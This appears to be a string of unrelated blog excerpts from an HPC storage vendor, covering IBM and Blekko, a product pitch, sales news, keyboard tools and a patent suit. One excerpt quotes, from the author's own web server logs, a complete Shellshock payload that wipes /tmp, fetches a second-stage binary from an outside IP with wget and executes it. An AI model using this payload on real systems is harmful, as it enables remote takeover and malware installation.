More information in our video (linked here in case the video doesn’t embed properly, you may need to enable flash and scripting on the page to see it embed*). Also, check out the page at the day job: we don’t do google or other analytics (just local stuff here), so this shouldn’t be a security issue. Let us know if you believe otherwise.

Have a look at the page. Blekko was started by a number of people including Greg Lindahl having spent many years in the HPC world. He’s another recovering physical scientist (astronomer as I remember). This is interesting as it gives a sense as to where IBM sees its future. They aren’t (it looks like to me) trying to compete with google, rather, trying to add interesting capability to Watson. They see Watson and things derived from it as their future.

This is a very exciting hyper-converged system, representing our next generation of time series, and big data analytical systems. Tremendous internal bandwidths coupled with massive internal parallelism, and minimal latency design on networks. This unit has been designed to focus upon delivering the maximal performance possible in an as minimal footprint … both rack based and cost wise … as possible. You can use these as independent stand alone units, integrate them into a larger FastPath Unison system We have our software stack (SIOS) integrated onto each unit, and include our builds of Python + Pandas/SciPy/NumPy, R, and Perl.

Our Q1 is usually quiet, fairly low key. Not this one. Looks like lots of pent up demand. We are deep into record territory, running 200+% of normal, with possibility of more. Another new wrinkle is that our small investment round is mostly complete. This is new territory for us, and you may have noticed I’d backed off posting intensity over the last half year or so while this was going on.

I like Π … apple, cherry, etc. For those whom don’t get the pun, dates in the US are often written as Month/Day/Year, with year being abbreviated by 2 digits. So with this formatting, today is 3/14/15, or roughly the first 5 digits of Π, which is defined to be the ratio of circumference to diameter of circle on a 2D plane. You can extend the pun, by noting at 9:26.

I saw this attack in the day job’s web server logs today. From IP address 198.11.176.82, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload. ()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://115.28.231.237:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP address to pull the second stage payload from. Run a whois against that … I’ll wait.

contact management across multiple devices/OSes/applications. Yeah, I know, just use iCloud/Gmail/etc. Except they are all broken. And not a little bit. I rely upon one, consistent, correct contact list that has email, phone, etc. for all the people I know and communicate with. In years past, I’ve had this list sync back and forth to Gmail via google. And it used to work. Then iPhone5 and well, ya know, it broke.

Its nice to hear success stories from our customers. In this case, our friends and customers at Milford Film and Animation have been using our systems for a number of years to provide the basis for their storage efforts. Their systems are very computationally, network, and IO intensive. There is a tremendous amount of rendering, editing, and many other things that require absolutely the highest performance you can get in a dense package.

Karabiner If you switch back and forth between Linux and Mac on same keyboard, this is an absolute must have. From my perspective, the keys in Mac are horribly borked. Home and End do not do what I expect. Control-Anything doesn’t work except in exceptional cases. iTerm2 (also very good Mac software) largely does the right thing on its own, but the keyboard side of MacOSX is basically borked. This lets you unbork it.

[full disclosure: day job has a relationship with Diablo] Russell just pointed this out to me. The short (pedestrian) version (I’ve got no information that is not public, so I can’t disclose something I don’t know anyway): Netlist filed a patent infringement suit against Diablo, and then included SanDisk as they bought Smart Storage, whom worked with Diablo prior to Smart being acquired by SanDisk. Netlist appears to have won an, at least temporary, injunction against Diablo.